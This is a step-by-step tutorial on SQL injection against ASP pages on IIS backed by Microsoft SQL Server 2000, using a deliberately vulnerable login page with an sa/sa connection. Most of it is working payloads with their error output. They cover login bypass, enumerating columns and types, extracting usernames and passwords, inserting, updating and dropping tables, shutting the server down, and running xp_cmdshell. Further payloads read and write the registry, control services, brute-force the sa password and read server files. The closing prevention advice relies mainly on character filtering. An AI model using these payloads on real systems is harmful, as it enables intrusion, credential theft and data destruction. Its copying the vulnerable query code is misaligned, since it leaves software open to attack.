Sql Injection

A Step by Step Guide to SQL Injections

[Abstract]...........................................................................................................................2 What is SQL Injection?...................................................................................................2 Test Environment for Checking SQL Injections:......................................................2 Architecture:...................................................................................................................3 Database Management System:..................................................................................3 Front- end Structure:......................................................................................................4 SQL Injections [At the Database Level].......................................................................6 Bypassing User Authentication:...............................................................................6 How to Secure against illegal authentication?.................................................................................7

Determine column of the table:................................................................................8 Getting all Columns of the Table: (Using Group by Clause)...............................8 Determining the Number of Columns: (Using Union Clause)..........................9 Finding Data types: (using aggregate functions)................................................10 Why we need all columns and Data Types?....................................................................................10

Getting Username & Password from table:..........................................................10 Inserting Values in the Table:..................................................................................13 Updating Values of the Table:..................................................................................13 Deleting Entire Data from the Table: (using Delete or Drop statement)......14 Displaying desired Information from the table in the Browser:.....................14 SQL Injections [Going beyond the Databases]........................................................15 Getting server name:.................................................................................................15 Xp_cmdshell :..............................................................................................................16 Shutting Down the SQL Server:...............................................................................16 Brute Force to Find Password of SQL Server:......................................................16 Xp_regread and Xp_regwrite extended procedure:............................................17 Xp_servicecontrol:.....................................................................................................18 Bulk Insert Statement:..............................................................................................19 How to prevent against SQL Injections:...................................................................19 Appendix:.........................................................................................................................20 Union Clause:...............................................................................................................20 Group By Clause:..........................................................................................................20 Delete/Drop statement:...............................................................................................20 ODBC driver:................................................................................................................20 Microsoft Internet Information Server (IIS):............................................................21

[Abstract]

This document discuss in detail common as well as some advance SQL Injection techniques as it applies to Microsoft Internet Information Server / Active Server Pages / Microsoft SQL Server. It discusses the various ways in which SQL can be injected & how one can protect him against the SQL injections. This document also contains brief description of the terms used in the context of databases & web Application.

What is SQL Injection? SQL Injection is a technique where an attacker creates or alters existing SQL commands (by using some special symbol) to gain access to unintended data or even the ability to execute system level commands in the server. SQL injections are the result of Poor Input Validation and can be blocked by proper input validation. Application that do not correctly validate and/or sanitize the user input, can potentially be exploited in several ways: • Changing SQL values. • Concatenating SQL Values. • Adding Function calls & stored Procedures to a statement. • Typecast and concatenate retrieved data. • Adding system functions & procedure to find out critical information about the server.

Test Environment for Checking SQL Injections: Test environment is very simple, which uses Microsoft SQL server 2000 as a Database Management System, Web Server and a authentication web site. The test environment also contains two asp pages one is for gathering user

input & another one is for checking user input against the data in the database using SQL Query. Architecture: Test Environment is based on the Two tire Architecture. Diagram of typical two- tire architecture is shown below:

In a two- tier architecture a client talks directly to a server, with no intervening server. It is typically used in small environments (less than 50 users). Some important characteristics of a two- tier application are: • User Interface on clients (desktops). • Database on servers (more powerful machines). • Business logic residing mostly on clients. • Stored procedures for data access on the servers. • SQLs used for commu nication.

Database Management System: [Microsoft SQL Server 2000]. Database Name

: Injection.

Table Name

: Authentication.

Table Structure

: Slno Name

Integer (4) Character (20)

Password Character (20)

Front- end Structure: Authentication Page: [Login.asp] This page is designed to take user input. There are two text boxes in the

page with one submit button. When user click on the submit button the values of the text boxes are submitted to verify.asp page at the Server site. [There are two methods (GET & POST) to submit values from a web page to another. Since only few applications uses GET method, so in this scenario we are using POST Method only, but same thing can be achieved by using Get Method as well. The difference between GET & POST method is in get method the data is appended to the URL using “?” and a user can see the data being transferred in the address bar. While data being transferred using post method doesn’t appended to the URL & thus doesn’t appear in the address bar i.e. it is kept hidden from the users. The data sent by using POST method is grab in ASP page using request.form object while data sent by using GET method is grab using requset.querystring object. The process of SQL injection will be same for both the cases. The following snip will tell you how information appears in the browser.

Code of the Login.asp page:

Name: Password:

AuthenticationVerify Page: [Verify.asp] This page is designed to grab input from the Login.asp page & check it against the data in the databases. Typical query to validate user data is written as: Set

recordset

=

connectionstering.execute

("SELECT

*

FROM

authentication WHERE " & "Name'" & request.form ("username") & "' AND " & _ "Password'" & request.form ("UserPassword") & "' ") Code of the Verify.asp Page: <%@ Language =VBScript %> <% Response.Buffer =false %> <META NAME="GENERATOR" Content ="Microsoft Visual Studio 6.0"> <% 'Variable Declaration Dim Cm, Trec Set Cm = Server.CreateObject("ADODB.Connection") Set Trec = Server.CreateObject("ADODB.Recordset") ConnectionStrin

g=

"driver={SQLServer};

Server=middleearth;Database=injection;UID=sa;PWD=sa” QueryText = "SELECT * FROM authentication WHERE " & _ "Name ='" & Request.Form("UserName") & "' AND " & _ "Password ='" & Request.Form("UserPassword") & "' " 'Response.Write (QueryText) 'Opening Connection Object because we need to put data or get data somewhere Cm.Open (ConnectionString) 'Opening a Recordset which execute query Trec.Open QueryText,cm If not Trec.EOF then Response.write("authentic") else

Response.Write("not authentic") end if Response.Write("
"+QueryText) %>

SQL Injections [At the Database Level] The first step before SQL Injections is to test whether a site is vulnerable to SQL Injections or not. It can be achieved by giving some arbitrary input. If input results in an error message (other than user generated error message), it means site is vulnerable to SQL Injections. To find whether a sire is vulnerable to SQL injections try followings special characters in input:

‘

;

,

‘‘

%

-

*

Bypassing User Authentication: An attacker can easily bypass Login Page without providing a valid user name & password. He just need to give: ' Or 1=1;-- (In the User Name text Box) On submitting this page SQL query (at the server) becomes: Select * from authentication where Name =' ' or 1=1; -Note: MS SQL Server treats anything after; -- as comment so rest of the query will be ignored. What attacker has done here is without specifying a valid username & password he bypasses the Login page. Telling you frankly even if site is vulnerable to SQL Injections most of the time it will not work. It depends on the way ASP Code is written. Key thing behind SQL Injection is your input should be according to ASP

code to get desired result. Here I would like to suggest that you should try all the following possible combinations and more, which you can think. 1. ' Or 1=1; -2. ' Or 1=1); -3. ' any_bad_value 4. ‘ “ 5. ‘ “or” 6.“ any_bad_value” ‘ etc. Note: This explanation is just for understanding from this test scenario. This varies on your Web Application code.

How to Secure against illegal authentication? To restrict an attacker you can use stored procedures (with username as its parameter) instead of writing complete SQL query in the querystring. That is something like ... Set Recordsource = connectionstering.execute (exec logincheck "' &requset.querystring ("username") &"'"). Now while trying to bypass this code by supplying ' or 1=1 as username it wont work. The reason is SQL queries that execute a stored procedure can’t be conditional and the presence of 'OR' makes it so. Thus produce an error: Microsoft OLE DB Provider for ODBC drivers error '80040e14' [Microsoft][ODBC SQL Server] Incorrect syntax near the keyword 'or'. /verify1.asp, line 5.

Determine column of the table: Till this stages an Attacker don’t know anything about table structure. He needs to know column name and table name to perform SQL Injection further. He can find out a column name by giving input something like Skillz’ in the username textbox. When He submit the page the query at

the server site will be something like: Select * from authentication where username = 'Skillz'' and password = '' When ODBC tries to parse that query it will generate the following error message: Microsoft OLE DB Provider for ODBC drivers error '80040e14' [Microsoft] [ODBC SQL Server] Unclosed quotation mark before the character string 'Skillz' AND Password=‘‘

This seems to be very interesting messages from an attacker’s point of view as he has got one column of the table i.e. PASSWORD. And now he can use it to get other columns of the table.

Getting all Columns of the Table: (Using Group by Clause) Here is the explanation, how an attacker can get other columns of the table using the first column He has just got. He will also get table with the column name. This is what an attacker has to enter in the user name text box: Skillz’ group by (password); -When attacker submit this page the query at the server site will become: Select * from authentication where username = 'Skillz' group by (password); -When ODBC try to parse this SQL query it will generate following error message: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC

SQL

Server

Driver][SQL

Server]

Column

'authentication.slno' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /verify.asp, line 24

The error is generated by ODBC driver because of the fact that, group by should contain all the columns occurring in select list. This error seems to be more interesting then the previous one as from this error attacker got two things one is NEW COLUMN NAME and another one is the TABLE NAME.

By keep- applying group- by clause recursively with newly found column Attacker can get all the columns of the table.

Determining the Number of Columns: (Using Union Clause) To check that whether Attacker has got all the columns or not, he has just need to use union clause: An attacker can proceed by giving input into text box: Skillz’ union select slno, password from authentication; -On submitting this value the query at the server site becomes something like: Select * from authentication where name = 'Skillz' union select slno, password from authentication- When ODBC try to parse this query it will generate following error: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server] All queries in an SQL statement containing a UNION operator must have an equal nu mber of expressions in their target lists. /verify1.asp, line 24 What does this error means? This means server is telling that slno & password are not the only column in the table, as the UNION clause is not matching the number of columns in the table. This means attacker has to use group by clause again to find

the hidden columns. When he include all the columns in the query ODBC will not generate any error message & that is the indication that attacker has got all the columns of the table.

Finding Data types: (using aggregate functions) At this stage attacker got the table name & all the columns of the table. But if he wants to insert some value(s) in the table or to update some column value he would need data type of the columns.

To find out data type of the column he just has to enter: Skillz’ compute sum (name) in the username text box. When this value is submitted to the server, query at the server site becomes: Select * from authentication where name = ’Skillz’ compute sum (name) Here (name) is a column name of currently used table. When ODBC try to parse this query, it will generate following error: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server] The sum or average aggregate operation cannot take a char data type as an argument. /verify.asp, line 24

The above error message is giving information that the name field of the table is of VARCHAR type. By proceeding in the same manner & applying aggregate functions on the rest of the columns we can get data types for all the columns. Why we need all columns and Data Types? All column names might be required to insert values in all columns. Here it might be a question why I need to insert values in all fields, why not only on selected fields? The answer for this is some columns don’t

support null values and we have to specify some value for such columns otherwise it won’t be possible to insert values into table.

Getting Username & Password from table: Aggregate functions can be used to determining some values in any table in the database. Since the attacker is interested in usernames & passwords, they are likely to read the usernames from the user table, like this: Username: ‘ union select min (name), 1,1 from authentication where username > ‘a’;-Select * from authentication where name =’’ union select min (name), 1,1 from authentication where username > ‘a’; -When the above query is executed its first statement (before union clause) returns null value and Second returns minimu m username that is greater than ‘a’, and attempts to convert it to an integer, and thus produces an error: Microsoft OLE DB provider for ODBC driver error ‘80040e07’ [Microsoft][ODBC SQL server driver][SQL server] syntax error converting the varchar value ‘Skillz’ to a column of data type int. /verify.asp, line 25 So the attacker now knows that the username ‘Skillz’ exist in the table. He can now iterate through the rows in the table by substituting each new username he discovered into where clause:

Username: ‘union select min (name), 1,1 from authentication where username > ‘Skillz’ Again when ODBC tries to convert character value in the integer, it generates an error: Microsoft OLE DB provider for ODBC driver error ‘80040e07’

[Microsoft][ODBC SQL server driver][SQL server] syntax error converting the varchar value ‘Rahul’ to a column of data type int. /verify.asp, line 25 From this error attacker has got one more username that exist in the table. By proceeding in the same manner he can obtain all the username from the table. Once the attacker got the usernames, he can starts gathering passwords. Username: ‘union select password, 1,1 from authentication where name =’Skillz’ Again ODBC tries to convert character value (password) to an integer & generates the following error message: Microsoft OLE DB provider for ODBC driver error ‘80040e07’ [Microsoft] [ODBC SQL Server Driver] [SQL Server] syntax error converting the character value ‘Vikas’ to a column of a data type Int. From the above error attacker comes to know that Vikas is the password for user Skillz. A More elegant way to display all username & password is concatenate usernames & passwords into a single string & then attempt to convert into an integer. Following script, which is written in PL/SQL, converts all usernames & passwords into a single string & store into a temporary table.

Begin Declare @col varchar(8000) Set @col = ':'

(you can give any value instead of : )

select @col = @col + 'username:' + rtrim(name)+ 'Password:' + rtrim (password) + '' from authentication where name > @col Select @col as col into temp_table

End;

Note: -

temp_table is the temporary table name. Col is the name of column of temporary table temp_table. @Col is variable for the PL/SQL script.

Now attacker can use this temp_table to get all the username & password of the table. Username: ‘ Union select col, 1,1 from temp_table; -When ODBC tries to convert string in to integer data type, it will generate the following error: Microsoft OLE DB provider for ODBC driver error ‘80040e07’ [Microsoft] [ODBC SQL Server Driver] [SQL Server] syntax error converting the varchar value ‘: username: Skillz Password: vikas Username: rahul Password: Skillz Username: vikas Password: Skillz’ to a column of a data type Integer. The string represents the username & its password, separated by words username & password.

Inserting Values in the Table: As attacker has already got all the necessary information (table name, column name, data type of columns) required to insert values in the table He can easily insert data into the table using insert statement. At attacker just need to enter: ’ insert into authentication (name, password) values ('Skillz','Skillz'); -When this value is submitted at the server site, query becomes: Select * from authentication where name = ’ ’ Insert into authentication (name, password) values (‘Skillz’,'Skillz'); -Here the select query doesn’t make any sense so it is ignored & insert query is successfully executed.

Updating Values of the Table: Following the same procedure as insert, an attacker can easily update values of the table. To update values of columns say password of a user an attacker just need to proceed by submitting: ’ update authentication set password = 'Skillz' where name =‘rahul’;-- in the user name text box. When this values is submitted the query at the server site becomes: Select * from authentication where name =’’ Update authentication set password = ‘rahul’ where username = ’Skillz’; -So what an attacker has done is he successfully changed the password of user “Skillz” without knowing his Old Password.

Deleting Entire Data from the Table: (using Delete or Drop statement) An attacker can make our life much more difficult by dropping the data of entire table by using delete statement or Drop table statement. He just has to enter a simple statement: '; drop table authentication; -- or Skillz’ delete from authentication; -- in the username textbox. When this statement is submitted to the server, query becomes: Select * from authentication where name = ‘‘ drop table authentication; -or Select* from

authentication

where name

= ‘Skillz’ delete from

authentication;-And the result of this query is: We lost all data stored in the table authentication

Displaying desired Information from the table in the Browser: I have mentioned this earlier in sense of how to get username and password. Here it’s in more detail to get all fields of the table. A attacker

can use stored procedure /PL- SQL Block to display entire data of Column (s) in the browser itself. This is a two step Procedure: 1. In the first step an Attacker creates a temporary table (on the server) which holds data from the Main table (on the server). The temporary table contains only one column & that column will contain the values from different columns of the main table as a string. 2. In the second step an Attacker displays data from the temporary table he has created in the previous stage. Ex.: Following PL/SQL Block can be used to create a temporary table having single column named as col, Which can hold data of all the desired columns (as a concatenated string). Skillz’ begin declare @col varchar (2000) Set @col=':' Select @col = @col + ' '

+ slno+’/’+name + '/'

+ password from

authentication; Select @col as col into temp_table; End; -Now the Next step is to display data from the temporary table in the browser: ' union select col, 1,1 from temp_table -After submitting the above text in the username text box, SQL query at the server site will become: Select * from authentication where name = '' Union select col,1,1 from temp_table;- As first column in the authentication is numeric & the column in the temp_table is of character type, when ODBC tries to match the two columns it generates an error and will display all the data in the Browser from the temp_table.

SQL Injections [Going beyond the Databases] Once the attacker has got control to the database, they are likely to use that access to gain further control. An attacker can achieve this by using following: Using @@variables of SQL Server. By using xp_cmdshell extended procedure to run commands on the server. By using xp_regread extended procedure to read the registry keys of the server. By using xp_regwrite extended procedure to edit the registry of the server. By using xp_servicecontrol Use other extended procedures to influence the server functions. Use bulk insert statement to read a file on the server. Getting server name: We can even determine server name by using SQL-SERVER in- built functions in to SQL Queries. Eg: ' union select @@servername, 1,1 --

Select @@servername will return the server name & when it is compared with the first column of authentication table (which is a numeric column) ODBC will generate an error & server name will be printed in the Browser. Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'MIDDLEEARTH' to a column of data type int. /verify.asp, line 28

Xp_cmdshell : An attacker can use SQL-SERVER in- built procedure (xp_cmdshell) to get

the listing of existing directories/files on the server. Eg. : ' Xp_cmdshell 'dir'

Shutting Down the SQL Server: An attacker can even shutdown the SQL server if the privileges are not managed properly. An attacker can shut down the server by giving following statement in the username text box: ‘; SHUTDOWN When this value is submitted at the server site, the SQL Query becomes: Select * from authentication where name = ‘‘; SHUTDOWN .As ‘;’ is the command separator in SQL server, after executing the select statement it executes SHUTDOWN statement which close the SQL server & further request send to the server will fail.

Brute Force to Find Password of SQL Server: If an attacker has access to an account that can issue the ‘OPENROWSET’ command,

they can attempt

to re- authenticate with SQL Server,

effectively allowing them to guess passwords. There are several variants of ‘OPENROWSET’ syntax. The most useful syntax of OPENROWSET is: Using MSDASQL: Select * from OPENROWSET (‘MSDASQL’,’DRIVER = {SQL SERVER}; SERVER =; uid = Sa; pwd = Sa ’,’’ select * from version’) Using SQLOLEDB: Select * from OPENROWSET (‘SQLOLEDB’, ’ ‘; ‘Sa’; ‘Sa’,’ select @@version’) By default everyone can execute ‘XP_execresultset’, which leads to the following elaboration on the previous two methods:

Using MSDASQL: Exec XP_execresultset N‘ select * from OPENROWSET (‘ ‘ MSDASQL‘ ’ ’, ‘ ’ DRIVER ={SQL Server}; SERVER =; uid = Sa; pwd =foo ‘‘, ‘’ select @@version) ‘, N’master

Using SQLOLEDB: Exec XP_execresultset N’ select * from OPENROWSET (‘’ SQLOLEDB ‘’, ‘’ ‘’; ‘’ sa ‘’; ‘’ foo ‘’; ’’ select @@version ‘’)’ N’master

By default in the SQL Server 2000, a low–privileged account cannot execute the MSDASQL variant of the above syntax, but they can execute the SQLLOLEDB syntax. OPENROWSET authentication is instant, and provides no timeout in the case of an unsuccessful authentication attempt, it is possible to inject a script that will brute force the ‘sa’ password by using the processing capabilities of the server itself.

Xp_regread and Xp_regwrite extended procedure: An attacker can use extended procedure to read or change the registry contents. He can use extended procedure xp_regread to read the registry of the system or xp_regwrite to write in the system registry. For example, to read into the variable @test from the value 'TestValue' from the key 'SOFTWARE\Test' from the 'HKEY_LOCAL_MACHINE', an attacker can use: DECLARE @test varchar (20) EXEC master..Xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Test', @value_name ='TestValue', @value=@test OUTPUTSELECT @test Some more e.g. are: Exec xp_regread HKEY_LOCAL_MACHIN,

'SYSTEM\Cureentcontrolset\Services\lanmanserver\para meters','nulls essionshare' (This determines what null- session shares are available on the server) Exec xp_regenumvalues HKEY_LOCAL_MACHINE, ' SYSTEM\CurrentControlSet\Services\snmp \ p a ra meters\validcommun ities' (This will reveal all of the SNMP commu nities Configured on the server. With this information, an attacker can probably reconfigure network appliances in the same area of the network, since SNMP communities tend to be infrequently changed, and shared among many hosts) E.g. of xp_regwrite is: EXECUTE xp_regwrite [@rootkey =] 'rootkey', [@key =]'key', [@ value_name =]'value_name', [@ type =]'type', [@ value =]'value' For example, to write the variable 'Test' to the 'TestValue' value, key 'SOFTWARE\Test', 'HKEY_LOCAL_MACHINE' an attacker can use: EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Test', @value_name='TestValue', @type='REG_SZ', @value='Test'

Xp_servicecontrol: Master..xp_servicecontrol extended procedure allows an attacker to start, stop & pause a service. For e.g.: Exec master..xp_servicecontrol 'start','schedule' Exec master..xp_servicecontrol 'star Note: - There are lots of extended procedures available in MS-SQL Server but we are not going in to detail of each & every procedure.

Bulk Insert Statement: Using Bulk insert statement, it is possible to insert a text file into a

temporary table. So the attacker can easily read a file on the web server by first converting it in to database table & then use union clause against this table. Following is the procedure: First create a table: Create table temp_table (Col varchar(8000)) Then , use bulk insert statement to insert data from desired file to this table. That can be done by statement: Bulk insert temp_table from ‘c:\inetpub\wwwroot\verify.asp’. After execution of this statement the table contains code of the page verify.asp & this code can be displayed in the browser using any of the above error message technique like Union. (This is very useful for obtaining the source code of scripts stored on the database server, or possibly the source code of ASP pages.)

How to prevent against SQL Injections:

Validate Input properly. • Do not allow users to enter special symbols like ‘ ; -- “ % * _ etc. • Replace single ‘ with space. Using replace function like: Replace (request.form (“name”),”’”,” “) • Replace single ‘ with ‘’ Replace (request.form (“name”), “’”,”’’”) • If input in question is numeric then use numeric function like isnumber ( ) to check whether input is numeric or not. Use procedures instead of writing queries directly in the recordset object. Give only necessary privileges to the users. Drop unnecessary system procedure, so that nobody can use it

maliciously.

Appendix: Union Clause: Union clause is used to combine results of two queries. Both queries must have Equal number of columns with same data types. Group By Clause: Group by Clause is used to group some related data. Columns appearing in the select list must be included in Group By clause or they must used with some group by functions. Having clause can be used to restrict groups. Delete/Drop statement: Delete statement deletes entire data of the table, but it doesn’t delete structure of the table. Drop statement delete entire data as well as table structure. ODBC driver: Open Database Connectivity (ODBC) is an applicationprogramming interface (API) for programs that use SQL to access data. ODBC is a multi- database API because an ODBC program can operate with heterogeneous databases and disparate SQL DBMS without requiring source code changes. Microsoft created ODBC by extending a Call Level Interface from the SQL Access Group (now part of The Open Group).

Microsoft Internet Information Server (IIS): Internet information server is a World Wide Web server, contains features of both web server & Ftp server. IIS allows publishing web pages over the Internet & extent the capabilities of the web pages using ASP. ActiveX Data Objects (ADO): ADO is a powerful & ready to use Object Model that is used to access data .ADO is preferred data object to use with IIS & web applications. ADO is very powerful & flexible as it can be used with any database management system like Microsoft SQL Server, MS Access or Oracle & Still with same programming model, regardless of features of particular database.